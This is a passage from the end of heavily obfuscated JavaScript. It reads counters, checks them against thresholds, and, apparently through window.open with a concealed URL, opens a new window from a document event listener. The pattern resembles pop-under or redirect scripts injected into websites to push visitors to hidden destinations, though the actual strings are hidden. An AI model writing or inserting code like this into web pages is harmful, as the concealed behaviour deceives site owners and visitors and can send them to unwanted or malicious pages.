_0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());